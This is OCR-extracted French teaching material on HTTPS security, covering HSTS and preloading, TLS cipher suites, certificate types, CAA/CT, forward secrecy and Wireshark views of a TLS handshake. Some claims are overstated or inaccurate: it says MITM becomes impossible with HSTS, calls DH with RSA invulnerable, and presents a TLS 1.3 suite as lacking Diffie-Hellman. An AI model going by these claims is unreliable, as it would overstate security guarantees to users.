( ‘ Set-Cookie: PHPSESSID=tq4416p10e45kg9h55ul2i82b1; expires=Fri, 17-Jan-2025 07:43:21 GMT, Max-Age=3600; path
=/; domain=terrcj . fr; HitpOnly
Upgrade: h2,h2c

4 Il y a deux types de redirection : la redirection 301 (qui est permanente) et la redirection 302
(qui est temporaire). Les redirections pour basculer d’HTTP en HTTPS sont des redirections 301
(voir le cadre bleu sur I'image ci-dessus). Les redirections se réalisent dans le fichier .htaccess,
sur le serveur.
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HTTP Strict Transport Security (HSTS)

Utiliser une redirection vers la version HTTPS de votre site est une bonne idée. Cependant le
protocole SSL peut subir une attaque de 'homme du milieu (Man-In-The-Middle attack ou
MITM)®.

Vous vous connectez certainement de temps a autre, probablement, a un réseau Wi-Fi public
(cafe, hotel, aéroport, ...). Ces Wi-Fi sont souvent mal sécurisés et les mots de passe connus
de tous ou méme absents. Imaginons que le site de votre banque accepte les connexions
HTTP et les redirige en HTTPS grace a une redirection 301. Un hacker, client du méme hétel,
pourra (grace a un renifleur de paquets comme Wireshark) intercepter votre requéte en HTTP
vers ce site. En effet, les gens tapent rarement "https://ma-banque.com" dans la barre
d’adresse mais plutét "www.ma-banque.com" ou encore plus simplement "ma-banque.com" :
du coup la requéte est envoyée en HTTP. Ayant intercepté votre requéte, le pirate pourra
détourner ainsi le trafic chiffré en SSL, et s’emparer de vos données confidentielles. |l pourra
méme rediriger votre requéte vers un site qu’il a créé qui est une copie conforme de celui de

votre banque (phishing). Catastrophe ! Que faire ?

Il faut dés lors déployer une mesure de sécurité supplémentaire, le HSTS (HTTP Strict

Transport Security), qui est aujourd’hui supporté par tous les navigateurs.

Avec HSTS, le serveur donne instruction au navigateur, grace a I'en-téte de réponse Strict-
Transport-Security, d'utiliser HTTPS par défaut pendant une période spécifiée, a chaque
connexion. |l s’agit pas donc d’une redirection classique (redirection 301, 302, ...) ; mais d’'une

conversion cété client (par le navigateur) de requétes HTTP en requétes HTTPS.
Cet en-téte posséde trois attributs (flags) :

= max-age : spécifie la durée de vie de la politique HSTS en secondes.
= IncludeSubDomains : spécifie si les sous-domaines sont concernés.

= preload : indique que le domaine doit étre inscrit dans la liste de préchargement
Par exemple, on peut activer HSTS pour un an avec :
Strict-Transport-Security "max-age= 31536000; IncludeSubDomains "

Il reste encore un probléme : HSTS n’offre une protection qu’aprés la premiére connexion.

Cette premiére connexion reste problématique. On peut y remédier grace a une liste de pré-

5 Le MITM, ou attaque de ’lhomme du milieu consiste a intercepter et a modifier les données
échangées entre deux personnes a leur insu. Cété serveur, il suffit d’activer HSTS pour protéger
vos visiteurs.
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chargement. Il faut alors enregistrer son site sur https://hstspreload.org et ajouter le flag

preload a I'en-téte de réponse :
Strict-Transport-Security "max-age= 31536000; IncludeSubDomains; preload"

Activer HSTS pour votre site peut vous faire passer de la note A a la note A+ lors du SSL

Server Test (https://www.ssllabs.com/ssltest/) dont nous avons parlé dans un autre chapitre :

A 4

Un site trés bien sécurisé, sans Ce méme site avec HSTS

HSTS, obtiendra la note A obtiendra la note A+

Nous y sommes : vous étes maintenant en totale sécurité avec votre site web, une attaque

de 'homme du milieu n’est plus possible !

Testons le site web d’une banque (1) : HSTS

J’ai testé le site de plusieurs banques pour voir si elles utilisaient la politique de sécurité HSTS.

Bien évidemment, c’est trés souvent le cas !

Ci-dessous, jai testé la banque ING, qui utilise bien HSTS :

XHR Polices Images Médias WS Autre  [] Désactiverle cache  Aucune limitation de la bande passante ¢ ¥

[P En-tétes Cookies Requéte Réponse Délais  Sécurité

% Filtrer les en-tétes Bloquer Renvoyer
DeMO; Domain=,www.ing.be; Path=/; Expires=Fri, 17 Jan 2025 09:19:14 GMT; Max-Age=7200
set-cookie: bm_mi=DB34F731A51CFOFF7B4B4521ASA9C2F1 ~YAAQTsQRApJeOmmUAQAAVWAhcxoQsm13cAsXb3IQ9gYIitl
cBvpTrisUGefifXi8eaMzqGuXOCsiywgugU3HHyLOVOIrFISvigUI916)e6lp2nl90YWYpWFkZoxig30qoqTEy818Wb4Verndqbs
BNiQfnhdXldn1npGFMf30NrUw+zMZm01OMLFSSIRJIm2unxXivFkZj+hpmhS/sFJh9kE1nrn23IvGOwk1JFAIUURP+ZEptBZi
EcxQ2ZrFyH/JXRnjWp9LgDXhxhKme73DSvSCIE+znWrBv4elw0GapRCntpKmZvhxXDifneROjE8jeonRL3BhNi9zq0Do=~1;
Domain=,www.ing.be; Path=/: Expires=Fri, 17 Jan 2025 07:19:14 GMT; Max-Age=0; Secure

[ strict-transport-security: max-age=31622400; includeSubDomains ] <

<

vary: Ongin
vary: Accept-Encoding

La durée de vie de la politique HSTS chez ING est de 1 an (31.622.400 secondes).A titre
d’exercice, je vous conseille de vérifier si votre banque a bien activé HSTS sur son site web.®

6 1l suffit, pour le navigateur Chrome, par exemple, de cliquer sur "Personnaliser" (les trois points en haut a
droite de la fenétre du navigateur) puis sur "Plus d’outils" puis sur "Outils de développement". Pour 'exemple
ci-dessus, j’ai cliqué ensuite sur Name = login.
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Clés, certificats et chiffrement

On a vu que le protocole SSL/TSL posseéde trois propriétés. De quoi dépendent-elles ?

Cette propriété est assurée par un certificat SSL. Le rdle du

Authenticité

navigateur est de vérifier que ce certificat est valide.

Cette propriété est assurée par un algorithme de chiffrement a clé

Confidentialité

symétrique. La clé est dite partagée ou secrete.

Cette propriété est assurée par une fonction HMAC (Hashed

Intégrité Message Authentication Code). Le code HMAC combine une

fonction de hachage’ cryptographique et une clé secréte unique.

On peut constater que les deux clés utilisées pour la confidentialité et I'intégrité sont uniques.

Ces deux clés dérivent d’'un "pre-master secret" produit par le navigateur.

confidentialité

intégrité

authenticité

chiffrement fonctions HMAC certificats
AES MD5 RSA
DES SHA-1 DHE-RSA

7 Une fonction de hachage (MD5, SHA-1, SHA-256, ...) est une fonction qui calcule ’empreinte
numérique (ou signature) d’une donnée. Le hash obtenu ne permet pas de retrouver la donnée
initiale, mais il permet de I'identifier. Lorsque vous téléchargez un programme sur Internet, il est
conseillé de vérifier si celui-ci n’a pas été corrompu (erreur de transmission ou infection par un
virus) en comparant son hash a celui qui est fourni par le site qui propose le programme original.
Une méthode rapide pour calculer le SHA-256 d’un programme est de le scanner sur
www.virustotal.com. Sinon de nombreux programmes gratuits permettent de calculer les hashs.
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- DES (Data Encryption Standard) est un vieil algorithme de chiffrement symétrique (1975)
qui n’est plus recommandé aujourd’hui (il est facilement attaqué par différentes méthodes). Il

a donc été remplacé depuis 2001 par AES...

- AES (Advanced Encryption Standard), publié en 2000, est également un algorithme de
chiffrement symétrique. C’est un algorithme trés utilisé et trés sar, qui utilise une clé de 128
(AES-128), 192 (AES-192) ou 256 bits (AES-256) au maximum.

Les certificats SSL

Les certificats, nous I'avons vu, assurent la propriété d’authenticité. lls sont le passeport
électronique du site web. lls sont délivrés par une autorité de certification (CA pour
Certification Authority). Lorsque le CA délivre un nouveau certificat, il le signe avec sa clé
privée®. Le navigateur vérifie ensuite ce certificat avec la clé publique du CA. En réalité, le
certificat est signé par un CA intermédiaire qui dépend d’'un autre CA intermédiaire de niveau
plus élevé pour prouver sa légitimité et ainsi de suite jusqu’a atteindre le plus haut niveau :
l'autorité de certification racine (Root CA). Chaque navigateur posséde un magasin de

certificats racine (qui liste tous les CA racine auxquels le navigateur fait confiance par défaut).

On peut afficher facilement le magasin de certificats racine sur Firefox :

Vos certificats Personnes Serveurs Autorités Autres

Vous possédez des certificats enregistrés identifiant ces autorités de certification :

Nom du certificat Périphérique de sécurité | B

VvAC Camerfirma S.A. A
Chambers of Commerce Root - 2008 Builtin Object Token .:
Global Chambersign Root - 2008 Builtin Object Token

vAC Camerfirma SA CIF A82743287
Camerfirma Chambers of Commerce Root Builtin Object Token
Camerfirma Global Chambersign Root Builtin Object Token

VACCV
ACCVRAIZ1 Builtin Object Token

v Actalis S.p.A./03358520967
Actalis Authentication Root CA Builtin Object Token v

8 Le certificat atteste de I'identité de la clé publique délivrée par un CA. Les certificats utilisent
la cryptographie asymétrique (I’algorithme RSA par exemple) : le CA place dans le certificat la
clé publique de I'entité associée a ce certificat puis chiffre le certificat avec sa clé privée.
Lorsque vous vous connectez a un site sécurisé, celui-ci vous envoie son certificat qui contient
sa clé publique et qui est signé par I'autorité. Vous étes donc siir que cette clé publique est bien
la bonne clé et n’a pas été corrompue par un pirate. La structure des certificats posséde une
norme : le standard X.509.
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Comment un CA peut-il savoir si une requéte pour un certificat est légitime ?

Il faut bien évidemment vérifier que la personne qui fait la demande est bien le propriétaire du

domaine concerné par le certificat.

Il y a donc quatre types de certification SSL, selon la profondeur de cette vérification :

Auto-signature

le certificat auto-signé n’est rien d’autre qu’un certificat signé, non par un CA, mais par le
serveur qui I'a édité. Il est donc totalement gratuit. Il faut éviter ce type de certificat car il affiche
une erreur de sécurité sur tous les navigateurs (les internautes quittent alors généralement la

page). Il n’y a aucune validation, bien s{r, pour ce certificat.

DV (Domain Validation = Validation de domaine)
c’est la validation la plus économique. Let’s Encrypt, dont nous avons parlé, et qui propose

des certificats SSL gratuits, délivre ce type de certificat.

OV (Organization Validation = Validation de I'organisation)

cette validation est plus crédible et plus chére.

EV (Extended Validation = Validation étendue)

cette validation est la meilleure et la plus chére.

X.509

Tfre
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Affichage du certificat SSL dans Firefox

Connexion sécurisée / Plus d’informations / Afficher le certificat

Certificat

letsencrypt.org

Nom du sujet

Nom courant

letsencrypt.org

2

Certificat
ssllabs.com
Nom du sujet
Pays us
Etat/Province  California
Localité Foster City
Organisation Qualys, Inc.
Nom courant ssllabs.com

2

Site letsencrypt.org : certificat DV

Site ssllabs.com : certificat OV

Certificat

particuliers.societegenerale.fr

Nom du sujet

Pays d'enregistrement
Etat / Province
d’enregistrement
Siége social

Catégorie d'affaires
Numéro de série

Pays

Localité

Organisation

Nom courant

FR
fle-de-France

Paris

Private Organization

552 120 222

FR

Paris

Societe Generale SA
particuliers.societegenerale.fr

d

Site de la banque Société Générale : certificat EV
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Affichage du certificat SSL dans Chrome

Afficher les informations a propos du site / La connexion est sécurisée /
Certificat valide / Détails / Objet

Valeur du champ

Valeur du champ CN = ssllabs.com
O = Qualys, Inc,
CN = letsencrypt.org L = Foster City
ST = California
C=US
Site letsencrypt.org : certificat DV Site ssllabs.com : certificat OV

Valeur du champ

CN = particuliers.societegenerale.fr

O = Societe Generale SA

L = Paris

C=FR

serialNumber = 552 120 222

businessCategory = Private Organization
jurisdictionLocalityName = Paris
jurisdictionStateOrProvinceName = lle-de-France
jurisdictionCountryName = FR

ad

Site de la banque Société Générale : certificat EV

CN = Common Name ; O = Organization ; L = Locality ; ST = State ; C = Country

SSLLABS (SSL Server Test) peut vous dire si un domaine est étendu (EV) ou non !
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Testons le site web d’'une grande banque (2) : le certificat

Pour afficher le certificat SSL d’'une banque (ici MonaBank), il suffit avec Firefox de cliquer sur

le cadenas, puis sur Plus d’informations et enfin sur Afficher le certificat

@ Informations sur la page - httpsy//www.monabang.com/fr/index.html = O X

o B 1 &

Général Meédias Permissions = Sécurité

Identité du site web
Site web : www.monabang.com

Propriétaire: Ce site web ne fournit pas d‘informations sur son propriétaire.

Vérifiée par: ESET, spol.sr. 0. Afficher le certificat <+

Vie privée et historique
Ai-je déja visité ce site web auparavant? Non

Ce site web conserve-t-il des Qui, des cookies et 16,2 Ko

3 ; % 5 % Effacer les cookies et les données de sites
informations sur mon ordinateur ? de données de sites

Ai-je un mot de passe enregistré pour ce

x Non Voir les mots de passe enregistrés
site web 7 P g

Détails technigues
— r Connexion chiffrée (clés TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, 256 bits, TLS 1.2) I
La page actuellement affichée a été chiffrée avant d'avoir été envoyée sur Internet.

Le chiffrement rend trés difficile aux personnes non autorisées la visualisation de la page durant son transit entre
ordinateurs. |l est donc trés improbable que quelqu'un puisse lire cette page durant son transit sur le réseau.

Aide

L » TLS_ECDHE_RSA_WITH_AES 256_GCM_SHA384, 256 bits, TLS 1.2

4

= échange de clés (ECDH, Elliptic Curve Diffie-Hellman Ephemeral),

=> algorithme de chiffrement asymétrique (RSA, Rivest-Shamir-Adleman) pour identifier
le serveur,

=>» algorithme de chiffrement symétrique (AES_256_GCM, 256 bits) [ pour la
confidentialité des données échangées ], en mode GCM (Galois/Counter Mode)

=>» algorithme de hachage : SHA384 [ pour l'intégrité ]

7

256 bits : indique que la clé symétrique a une longueur de 256 bits
= TLS 1.2 : version de TLS utilisée (aujourd’hui, on conseille plutdét TLS 1.3)
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Wikipédia propose une illustration simplifiée de I'échange des clés de Diffie-Hellman avec une

analogie avec un échange de pots de couleur entre Alice et Bob :

Alice

Peinture en commun

Peintures secretes

I RU

\/
A

Transport public

(I'opération de
séparation du mix

\/
A

extrémement long)

Peintures secretes

.+'.

Secret partage

a un temps de calcul

Bob

@00

)l
A

\/
A

—

Idée originale : A.J. Han VinckVersion vectorielle : Flugaal

Traduction : Dereckson, Public domain, via Wikimedia Commons
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PFS : Perfect Forward Secrecy (confidentialité persistante)

Les révélations d’Edward Snowden en 2013, ont fait I'effet d'une bombe : des agences
gouvernementales enregistrent depuis des années les communications méme cryptées dans
I'espoir de pouvoir un jour les déchiffrer (il suffit pour cela d’obtenir dans le futur la clé privée

du serveur en la volant ou de toute autre maniére).

Pour éviter cela, il est recommandé aujourd’hui d’utiliser la propriété de Perfect Forward
Secrecy : il s’agit d’'une fonction de protocole d’échange de clés trés sire, méme si la clé
privée du serveur est compromise, les communications chiffrées passées resteront
confidentielles. Cette propriété est obtenue grace au protocole d’échange de clés de Diffie-

Hellman (DH), ou ses variantes :

DHE pour Diffie-Hellman ephemeral,
ECDH pour Elliptic-curve Diffie-Hellman,
ECDHE pour Elliptic-curve Diffie-Hellman ephemeral.

L’algorithme mathématique de Diffie-Hellman est assez complexe.

Avec PFS, la clé privée du serveur ne sert plus a déchiffrer le pre-master secret (clé temporaire
utilisée pour établir la connexion) mais uniquement pour I'authentification. Le serveur et le

navigateur négocient un secret partagé qui n’a plus aucun rapport avec ce pre-master secret.

Il faut cependant noter qu’avec le Perfect Forward Secrecy, les communications passées sont
totalement protégées, mais pas les communications futures puisqu’une attaque de ’homme
du milieu (MITM) reste possible. C’est la raison pour laquelle le protocole DH doit étre utilisé
avec authentification (il est combiné avec l'algorithme asymétrique RSA), il devient dés lors

invulnérable ! Aujourd’hui, avec TLS 1.3, PFS est devenu obligatoire.
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Fragilité de I'’écosystéme des certificats

Toute la sécurité sur un site HTTPS dépend de la validité des certificats SSL. |l est possible

malheureusement qu’un hacker puisse se procurer un certificat frauduleux pour un site web.

4 )

% Quel est I'intérét pour un pirate d’obtenir un certificat X.509 frauduleux ?

A priori, aucun. Mais a y réfléchir d’'un peu plus prés, il y en a un, sinon pourquoi le
ferait-il ?

Le certificat frauduleux fait croire aux navigateurs qu’un site est Iégitime alors qu'il
ne l'est pas. Il peut alors y avoir usurpation d’identité, propagation de malwares,
interception des communications,...

Le cybercriminel peut obtenir des certificats X.509 frauduleux grace a l'ingénierie
sociale, grace a I'exploitation de vulnérabilités ou encore grace au marché noir
présent sur le darknet.

Avec des certificats frauduleux dans la nature, plus aucun internaute ne pourra étre
sUr que sa connexion est bien sécurisée. L’enjeu est de taille.

Le vol des certificats DigiNotar en 2011 a fait le buzz sur Internet :

Piratage : vol des certificats SSL pour la
CIA, le MI6 et le Mossad

La Rédaction

JDN
4 R Mis & jour le 05/09/1113:05

I3 KN il N 8

Plus de 500 certificats émis par DigiNotar ont été dérobés. Mozilla et
Google vont définitivement bloquer tous les certificats émis par cette
entreprise néerlandaise sur leur navigateur.

Source : http://www.journaldunet.com/solutions/securite/vol-de-certificat-ss|-0911.shtml
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Pour remédier a cet épineux probléme, deux solutions principales ont été proposées :

Méthode de prévention : CAA (Certification Authority Authorization) : le propriétaire d’'un

domaine peut spécifier quels sont les CA autorisés a émettre des certificats pour son domaine.

CAA fut proposé par 'ingénieur Peter Bowen en 2013

Méthode de détection : CT (Certificate Transparency) : tous les certificats émis doivent étre

listés dans une base de données publique. CT a été proposé initialement par Google en 2013.

CAA

Limite I’émission de certificats non

autoriseés.

Contréle préventif via DNS.

Normalisé en 2013 par le IETF®
sous la forme de la RFC 6844.

C

CT

Surveiller les certificats émis.

Non préventif. Transparence aprés

émission via des journaux publics.

Normalisé en 2013 par le IETF
sous la forme de la RFC 6962.

CERTIFICAT

% Le IETF est une organisation ouverte qui s’occupe de la normalisation des protocoles utilisés

sur Internet. Le IETF publie des RFC (RFC = Request for Comments) qui décrivent un protocole

ou une norme relative a Internet.
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Le fonctionnement de HTTPS (HTTP over TLS)

Frame 275: 1059 bytes on wire (8472 bits), 1859 bytes captured (8472 bits) on interf:
Ethernet II, Src: MS-NLB-PhysServer-16_18:f7:57:2b (02:10:18:f7:57:2b), Dst: ASUSTek(
Internet Protocol Version 4, Src: 93.184.216.34, Dst: 192.168.0.20

Transmission Control Protocol, Src Port: 8@, Dst Port: 51124, Seq: 1, Ack: 367, Len:
Hypertext Transfer Protocol : ‘

Line-based text data: text/html (46 lines)

vV VvV Vv Vv v

> Vv Line-based text data: text/html (46 lines)
<!doctype html>\n
<html>\n
<head>\n
<title>Example Domain</title>\n

\n
<meta charset="utf-8" />\n
<meta http-equiv="Content-type"” content="text/html; charset=utf-8" />\n
<meta name="viewport" content="width=device-width, initial-scale=1" />\n
<style type="text/css">\n
body {\n
background-color: #fefef2;\n
margin: 0;\n
padding: @;\n
font-family: -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI",
\n
Fn

Avec HTTP, les données transmises sont bien lisibles ! <+

Protocole HTTPS

Frame 912: 109 bytes on wire (872 bits), 189 bytes captured (872 bits) on interface )
Ethernet II, Src: MS-NLB-PhysServer-16_18:f7:57:2b (©2:10:18:f7:57:2b), Dst: ASUSTek(
Internet Protocol Version 4, Src: 216.58.214.2, Dst: 192.168.0.20
Transmission Control Protocol, Src Port: 443, Dst Port: 51130, Seq: 4237, Ack: 287, |
[4 Reassembled TCP Segments (4158 bytes): #908(1279), #909(1412), #911(1412), #912(5¢
Transport Layer Security

vV V V V VvV

—> Vv Transport Layer Security

Vv TLSv1.3 Record Layer: Application Data Protocol: Hypertext Transfer Protocol
Opaque Type: Application Data (23)
Version: TLS 1.2 (0x@303)
Length: 4153
Encrypted Application Data: c4b680204c3c4a97a9606c29138898ffel9c73865fdagb5a6fz | ——
[Application Data Protocol: Hypertext Transfer Protocol]

Avec HTTPS, les données transmises sont illisibles car chiffrées | <+—
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Deux remarques a propos de HTTPS

= SSL 1.0, SSL 2.0 et SSL 3.0 sont obsolétes et ne doivent plus étre utilisés aujourd’hui.
Idem pour TLS 1.0 et 1.1.

=>» Sont recommandés actuellement : TLS 1.2 et TLS 1.3.

= Le chiffrement asymétrique qui débute une connexion TLS est remplacé par un
chiffrement symétrique dés que I'échange des données intervient. Cela est d au fait que

le chiffrement des données est beaucoup plus rapide avec une méthode symétrique.

Etablir une session TLS avec Diffie-Hellman

Navigateur web Serveur web

Négociation pour le chiffrement

Client Hello + Server Hello

ﬁ Certificat TLS

Veérification du
certificat

Echange de clé pour le chiffrement des données

Diffie-Hellman (ECDHE)

Echange des données avec un chiffrement symétrique
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Voyons cela avec Wireshark :

42

Source

Destination Protocol  Length Info

172.16.1.117 172.16.1.130 TCP 66 34140 - 4433 [ACK] Seq=1 Ack=1 Win=29312 Len=@ TSval=269647646 TSecr=269642586
172.16.1.117 172.16.1.130 TLSv1.2 276 Client Hello

172.16.1.130 172.16.1.117 TCP 66 4433 » 34148 [ACK] Seq=1 Ack=211 Win=38080 Len=0 TSval=269642590 TSecr=269647646
172.16.1.130 172.16.1.117 TLSv1.2 982 Server Hello, Certificate, Server Key Exchange, Server Hello Done

172.16.1.117 172.16.1.130 TCP 66 34140 - 4433 [ACK] Seq=211 Ack=917 Win=31104 Len=0 TSval=269647652 TSecr=269642592
172.16.1.117 172.16.1.130 TLSv1.2 159 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message

172.16.1.130 172.16.1.117 TLSvl.2  3@8 New Session Ticket, Change Cipher Spec, Encrypted Handshake Message

172.16.1.117 172.16.1.130 TLSvl1.2 107 Application Data

172.16.1.130 172.16.1.117 TCP 66 4433 > 34140 [ACK] Seq=1159 Ack=377 Win=30080 Len=@ TSval=269642684 TSecr=269647660
172.16.1.117 172.16.1.130 TCP 66 34148 -» 4433 [ACK] Seq=377 Ack=1160 Win=32896 Len=0@ TSval=269647663 TSecr=269642604

'd

Protocol Length Info

TCP 66 34140 - 4433 [ACK] Seq=1 Ack=1 Win=29312 Len=0 TSval=269647646 TSecr=.
TLSv1.2 276 Client Hello

TCP 66 4433 - 34140 [ACK] Seq=1 Ack=211 Win=3@080 Len=0 TSval=269642590 TSec:
TLSv1.2 982 Server Hello, Certificate, Server Key Exchange, Server Hello Done

TCP 66 34140 - 4433 [ACK] Seq=211 Ack=917 Win=31104 Len=0 TSval=269647652 TSt

TLSvl.2 159 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message
TLSv1.2 388 New Session Ticket, Change Cipher Spec, Encrypted Handshake Message
TLSv1l.2 107 Application Data

TCP 66 4433 > 341408 [ACK] Seq=1159 Ack=377 Win=30030 Len=0 TSval=2696426084 T:

TCP 66 34148 - 4433 [ACK] Seq=377 Ack=116@ Win=32896 Len=8 TSval=269647663 T!

®

®
; EEENEE - ooomn
® R .

Poignée de main en trois temps du protocole TCP

Client Hello : le navigateur énonce les suites de chiffrement qu’il accepte

Envoi du Client Random

Server Hello : le serveur web choisit une suite de chiffrement

+ Envoi du Server Random et du certificat,

+ Server Key Exchange : envoi au client d’'une clé publique de Diffie-Hellman qui
va permettre avec les randoms le calcul de la clé partagée.

+ Envoi du Server Hello Done qui cléture le Server Hello.

Client Key Exchange

Début de I'échange de données chiffrées symétriquement avec la clé partagée.
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Le Client Hello (avec le Client Random et les suites de chiffrement tolérés) :

43

Vv Transport Layer Security
VvV TLSvl1.2 Record Layer: Handshake Protocol: Client Hello

Content Type: Handshake (22)
Version: TLS 1.0 (@x@301)

Length: 285
Vv Handshake Protocol:

Client Hello

Handshake Type: Client Hello (1)

Length: 2081
Version: TLS 1.2

(0x8303)

Client Random = valeur
aléatoire de 32 octets

V4

> Random: 82a9f7d86c1972a@f1e8488ec5852c3al@aballa78lccbecdccd7ef21a796desd

Session ID Length: @
Cipher Suites Length: 56

Cipher Suite:
Cipher Suite:
Cipher Suite:
Cipher Suite:
Cipher Suite:
Cipher Suite:
Cipher Suite:

Vv Cipher Suites (28 suites)
TLS_ECDHE_ECDSA WITH_AES 256 _GCM_SHA384 (@xc@2c)
TLS_ECDHE_RSA WITH_AES_256_GCM_SHA384 (@xc@3e)

TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 (@x@@9f)

TLS_ECDHE_ECDSA_WITH_CHACHA2@_POLY13@5_SHA256 (@xccad)
TLS_ECDHE_RSA_WITH_CHACHA2@_POLY1305_SHA256 (@xcca8)
TLS_DHE_RSA_WITH_CHACHA2@ POLY1305_SHA256 (@xccaa)

TLS ECDHE ECDSA WITH AES 128 GCM SHA256 (@xc@2b)

Le Server Hello, le certificat, le Server Key Exchange et le Server Hello Done se trouve dans

un autre paquet :

Frame 6: 982 bytes on wire (7856 bits), 982 bytes captured (7856 bits) n
Ethernet II, Src: VMware_ee:6c:65 (@0:8c:29:ee:6c:65), Dst: Raspberr_45:99:91
Internet Protocol Version 4, Src: 172.16.1.130, Dst: 172.16.1.117
Transmission Control Protocol, Src Port: 4433, Dst Port: 34140, Se

q: 1, Ack: :

v v v v

>
>
>

\
7’

Transport Layer Security
TLSv1.2 Record Layer:
TLSv1.2 Record Layer:
TLSv1.2 Record Layer:
TLSv1.2 Record Layer:

Handshake Protocol:
Handshake Protocol:
Handshake Protocol:
Handshake Protocol:

Server Hello
Certificate

Server Key Exchange
Server Hello Done

OO
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Server Hello - Server Random et suite choisie :

Vv Transport Layer Security n
Vv TLSvl1.2 Record Layer: Handshake Protocol: Server Hello

Content Type: Handshake (22)

Version: TLS 1.2 (@x0303)
Length: 65 Server Random = valeur
Vv Handshake Protocol: Server Helle aléatoire de 32 octets
Handshake Type: Server Hello (2)
Length: 61 [

Version: TLS 1.2 (@x83@3)

I > Random: 6fc423565fc896271f5edb48813dc85b562a50ec@2cc85fc24T66579655ad8e2 I
Session ID Length: @

[ cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (8xc830) |
Compression Method: null (@) -
Extensions Length: 21

Le serveur annonce qu'il a choisi le chiffrement :
TLS_ECDHE_RSA WITH_AES 256_GCM_SHA384
Cette suite utilise 'échange de Diffie-Hellman (ECDHE).

Server Hello - Server Key Exchange :

vV TLSv1.2 Record Layer: Handshake Protocol: Server Key Exchange
Content Type: Handshake (22)
Version: TLS 1.2 (@x8303)

Length: 172
Vv Handshake Protocol: Server Key Exchange n
Handshake Type: Server Key Exchange (12)
Length: 168

> EC Diffie-Hellman Server Params

—c e e e a - -~ - B -

Envoi du Certificat, Server Key Exchange et envoi du Server Hello Done (TLS) :
L’échange de clés de Diffie-Hellman est une procédure permettant au client et au serveur
d’échanger une clé secréte au cours d’un échange de données non sécurisé (en dehors de

tout chiffrement).
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Le Client Key exchange :

45

Vv Transport Layer Security
v TLSv1.2 Record Layer: Handshake Protocol: Client Key Exchange
Content Type: Handshake (22)
Version: TLS 1.2 (8x0303)
Length: 37
> Handshake Protocol: Client Key Exchange

Content Type: Change Cipher Spec (20)
Version: TLS 1.2 (8x@303)

Length: 1

Change Cipher Spec Message

Content Type: Handshake (22)

Version: TLS 1.2 (@x@383)

Length: 40

Handshake Protocol: Encrypted Handshake Message

v TLSv1.2 Record Layer: Change Cipher Spec Protocol: Change Cipher Spec

v TLSv1.2 Record Layer: Handshake Protocol: Encrypted Handshake Message

L’échange des données chiffrées symétriquement peut débuter :

Frame 1@: 107 bytes on wire (856 bits), 107 bytes captured (856 bits)

Internet Protocol Version 4, Src: 172.16.1.117, Dst: 172.16.1.130

v v v v

Transport Layer Security

VvV TLSv1.2 Record Layer: Application Data Protocol: Application Data
Content Type: Application Data (23)
Version: TLS 1.2 (8x@3@3)
Length: 36

Ethernet II, Src: VMware_dd:61:7a (@0:0c:29:dd:61:7a), Dst: Raspberr_45:99:91 (b8:27:eb:.

Transmission Control Protocol, Src Port: 34140, Dst Port: 4433, Seq: 304, Ack: 1159, Len

Encrypted Application Data: ff81c6c7dae8889e3cfde438a8dZa216d97f28cf67b479b14993fd1

Il est important de signaler que l'algorithme de Diffie-Hellman n’est pas toujours utilisé pour

I'échange de la clé symétrique : la clé publique du serveur est alors employée. Ceci est

cependant dangereux car un vol éventuel de la clé privée du serveur permettrait le

déchiffrement de toute session passée ayant été capturée par un tiers.
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Voyons comment cela fonctionne :

Etablir une session TLS sans Diffie-Hellman

Navigateur web Serveur web

Négociation pour le chiffrement

CLE CLE
Client Hello + Server Hello PUBLIQUE PRIVEE
Vérific?f?“”‘t du Certificat TLS
certifica avec clé publique
‘ du serveur
Récupération de
_— la clé publique
Génération d’'une Déchiffrement
clé aléatoire avec la clé
privée du
serveur
Chiffrement de la <<
clé aléatoire avec —
—> a la clé publique du a
serveur

Echange des données avec un chiffrement symétrique

|

Exemple de suite qui n’utilise pas I'algorithme de Diffie-Hellman :

TLS_AES_128 GCM_SHA256

(cloree]
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La liste de préchargement HSTS

HSTS (HTTP Strict Transport Security) est une mesure de sécurité qui autorise un serveur a
rendre obligatoire pour un navigateur, via un en-téte HTTP, l'utilisation d'HTTPS lors des

communications. Les attaques MITM sont alors impossibles.

Par exemple, pour activer HSTS pour un an, on aura dans le fichier .htaccess du site web :
Header set Strict-Transport-Security "max-age=31536000"
En effet, 1 an = 31.536.000 secondes.

Pour activer HSTS pour les sous-domaines :

Header set Strict-Transport-Security "max-age=31536000; includeSubDomains"

Il existe cependant un défaut a cette mesure de protection : HSTS ne sera effectif qu’'a partir
de la seconde connexion au serveur. Pour corriger cela, il est possible de s’inscrire sur une

liste de préchargement sur le site : https://hstspreload.org

Lorsque des erreurs ne permettent pas de s’inscrire sur cette liste, le site vous propose de les

corriger :

Enter a domain:

| ] |
| Check HSTS preload status and eligibility |

Status: | s not preloaded.
Eligibility: In order for |l to be eligible for preloading, the errors below must be resolved:

X Error: No preload directive

The header must contain the “preload” directive.

X Error: No redirect from HTTP
“http:// N does not redirect to “https:// N -

The HTTP page at http://| ] B sends an HSTS header. This has no effect over HTTP, and should be removed.

Ci-dessus, deux erreurs apparaissent :

=> la directive preload n’est pas présente dans I'en-téte Strict-Transport-Security

= aucune redirection HTTP vers HTTPS n’est présente sur le serveur
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Pour résoudre le premier probléme, il suffit de placer dans le fichier .htaccess de votre site la

directive preload dans I'en-téte Strict-Transport-Security :
Header set Strict-Transport-Security "max-age=31536000;includeSubDomains;preload"

Pour résoudre le second probléme, voyez avec votre hébergeur comment réaliser une
redirection HTTP vers HTTPS via le méme fichier .htaccess de votre site. Quelques lignes

seront a ajouter.

J'ai effectué les étapes ci-dessus pour le site cyber*** fr :

Enter a domain:

cyberllll.fr
Check HSTS preload status and eligibility

Status: cyber-fr is not preloaded.
Eligibility: cyberjllill.fr is eligible for the HSTS preload list.

Submit

| am the site owner of cyber-.fr or have their permission to
preload HSTS.
t =)

hstspreload@chromium.org t

| understand that preloading cyberflllll. fr through this form will

prevent all subdomains and nested subd ins from being

accessed without a valid HTTPS certificate:
*.cyberl. fr
*.*.cyberlll.fr

" Submit cyberlll.fr to the HSTS preload list | -

On peut enfin soumettre le site a la liste de préchargement HSTS !
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Le site est alors en attente d’inclusion dans la liste de préchargement :

Success

cyber-:Fr‘ is now pending inclusion in the HSTS preload list!

Please make sure that cyberfli]. fr continues to satisfy all
preload requirements, or it will be removed. Please revisit this site

over the next few weeks to check on the status of your domain.

